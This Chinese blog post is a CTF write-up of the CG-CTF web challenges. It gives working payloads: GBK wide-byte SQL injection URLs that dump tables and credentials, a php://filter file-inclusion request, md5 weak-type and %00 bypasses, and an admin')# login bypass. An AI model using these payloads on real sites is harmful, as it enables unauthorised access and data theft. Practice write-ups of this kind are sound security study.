前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >南邮CG-CTF

南邮CG-CTF

作者头像
用户2700375
发布2022-06-09 14:16:44
6020
发布2022-06-09 14:16:44
举报
文章被收录于专栏:很菜的web狗

第一次写ctf的wp 有些表达的可能不是很清楚

题目感觉质量很高 也很有趣哈 只写了部分web题目 pwn crypto不涉及 不要问我为什么 厂长是我表哥

签到题

签到题 右键查看源代码

代码语言:javascript
复制
nctf{flag_admiaanaaaaaaaaaaa}

md5 collision

源码中可以看出 变量a经过get方式传递 ,a的值不等于QNKCDZO

a的只经过md5加密后等于 QNKCDZO加密后的值 看似很矛盾

发现

QNKCDZO加密后的值是0e830400451993494058024219903391

是0e开头的,PHP 把它当作科学计数法,0 的无论多少次方都是零

所以我们找到md5加密后的值是0e开头的即可

这里我用s878926199a

代码语言:javascript
复制
nctf{md5_collision_is_easy}

签到题2

复制了口令点击开门发现提交的时候少了一个n

查看源代码发现 最大长度为10

代码语言:javascript
复制
<input type="password" value="" name="text1" maxlength="10">

限制了长度改成11即可

代码语言:javascript
复制
nctf{follow_me_to_exploit}

这题不是web

放了一张图。先保存到本地

代码语言:javascript
复制
nctf{photo_can_also_hid3_msg}

层层递进

这题本来是没有思路的 请教了下国光哥

代码语言:javascript
复制
nctf{this_is_a_fl4g}

AAencode

打开以后一大堆乱码。。以txt文件保存到本地

之后把保存在txt的文件内容粘贴到审查元素下的Console

代码语言:javascript
复制
nctf{javascript_aaencode}

单身二十年

点一下超链接 抓包一下看看

代码语言:javascript
复制
nctf{yougotit_script_now}

php decode

给出代码

大体意思是,声明一个函数 把接收到的ZzvSWE变量的值 进行base64解密后 再次进行gzinflate加密 之后遍历每个字符 的ascii的值 -1最后在转化为字符串。

mac下安装了集成环境 把代码copy一下放到网站目录 打开后发现什么都不显示 分析一下代码倒数第二行的eval

eval是把任何字符串当做php代码来执行 而php代码是不能在前台显示出来的 (自己是这样理解 不知道对不对)

eval换成echo即可

文件包含

这题用到php伪协议的知识 自己对这块不怎么了解 有时间要总结一下php伪协议的知识。

代码语言:javascript
复制
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

payload

代码语言:javascript
复制
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php

php代码是不能再前台显示的 所以需要进行base64加密,显示到前台以后,base解密即可

代码语言:javascript
复制
nctf{edulcni_elif_lacol_si_siht}

单身一百年也没有用

还是抓包一下看看

代码语言:javascript
复制
nctf{this_is_302_redirect}

Download~!

题目挂了

COOKIE

TIP: 0==not

抓包看一下 根据提示 0==not

我们修改login=1

代码语言:javascript
复制
nctf{cookie_is_different_from_session}

MYSQL

点开题目连接 根据Do you know robots.txt?

这题最开始有点疑问 感觉是sql注入 后面百度了一下才知道思路不对

考的是intval()的用法 intval把变量转化为整数

id=1024.01就能绕过爆出flag

nctf{query_in_mysql}

GBK Injection

进入解题连接后发现本题考查sql注入 输入'看一下

果然被转义了。。。这时候看到题目名字gbk 貌似明白了

宽字节注入

代码语言:javascript
复制
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

发现存在ctf,ctf2,ctf3,ctf4,news

ctf感觉有戏 先看一下ctf表下的字段名

代码语言:javascript
复制
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466--+

发现user,pw字段

接下来查看数据

代码语言:javascript
复制
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'union select 1,group_concat(user,pw) from ctf--+

果然

美滋滋的跑去提交 发现flag不对??????????

之后我每个表都试了一下 发现ctf4下也有一个falg

代码语言:javascript
复制
flag{this_is_sqli_flag}

格式感觉就不对 姿势盲区了百度了一下 发现前辈们也是在ctf4下发现的flag是

代码语言:javascript
复制
nctf{gbk_3sqli}

不知道怎么回事 不自信的我复制了前辈的payload爆出的flag也是flag{this_is_sqli_flag}看来真的是题目本身的问题了。。

/x00

又是一道看似很矛盾的题目

这里用数组直接可以绕过

代码语言:javascript
复制
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

爆出flagnctf{use_00_to_jieduan}

本题提示说有多种解题方法 题目名字让我想到了应该可以00截断

ereg函数存在%00截断漏洞,当遇到%00(NULL)时,函数就截止了

strpos函数 查找#biubiubiu在nctf变量接收的值中第一次出现的位置

代码语言:javascript
复制
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

bypass again

这道题呢和md5 collision考查的是一个点弱类型

get方式接受 a b两个参数 使得a不等于b 但md5加密后a的值必须等于md5加密后b的值 这里我直接用QNKCDZO s878926199a不只这两个很多加密后的值都是0e开头的详情百度一下

代码语言:javascript
复制
http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s878926199a

nctf{php_is_so_cool}

变量覆盖

点一下/source.php

出现index.php的源码

extract()函数的作用:从数组中将变量导入到当前的符号表 由于此函数存在变量覆盖漏洞 给pass赋值就覆盖了原值所以post下直接提交 两个变量的值相等就会爆出flag

nctf{bian_liang_fu_gai!}

php是世界上最好的语言

貌似也挂了

伪装者

抓包修改X-Forwarded-For: 127.0.0.1

貌似没用 偷偷看了国光哥的wp 姿势没问题 题目出现了点问题

网上flag

nctf{happy_http_headers}

Header

题目又挂了。。

上传绕过

一次实战很多次ctf遇到类似突破上传的方法

以前单独总结过这种方法写的很详细

常见的突破上传姿势

nctf{welcome_to_hacks_world}

SQL注入1

打开解题连接出现此页面 点击Source查看源码

代码语言:javascript
复制
<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

解题的关键核心语句

代码语言:javascript
复制
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
代码语言:javascript
复制
if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }

用户名为admin即可拿到flag所以应该注释掉后面的密码 sql语句源码里都有了构造一下 admin')# 这里做题的时候忽略了php的基础一直这样子写admin"')#后面才反应过来双引号是接受变量用的。。。

nctf{ni_ye_hui_sql?}

pass check

题目代码

代码语言:javascript
复制
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

post接收pass参数用strcmp函数与pass1做比较

php的strcmp函数不能处理数组所以

nctf{strcmp_is_n0t_3afe}

密码重置

打开解题连接后观察url user1=Y3RmdXNlcg==猜测base64加密 解密后果然是ctfuser

根据题目提示:重置管理员账号:admin 的密码

admin经过base64加密后YWRtaW4=

url替换成user1=YWRtaW4=

账号替换成admin

发现替换不了账号 审查元素看一下

readonly 属性规定输入字段为只读。是不可以修改的 删除了就好

nctf{reset_password_often_have_vuln}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-04-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 签到题
  • md5 collision
  • 签到题2
  • 这题不是web
  • 层层递进
  • AAencode
  • 单身二十年
  • php decode
  • 文件包含
    • payload
    • 单身一百年也没有用
    • Download~!
    • COOKIE
    • MYSQL
    • GBK Injection
    • /x00
    • bypass again
    • 变量覆盖
    • php是世界上最好的语言
    • 伪装者
    • Header
    • 上传绕过
    • SQL注入1
    • pass check
    • 密码重置
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档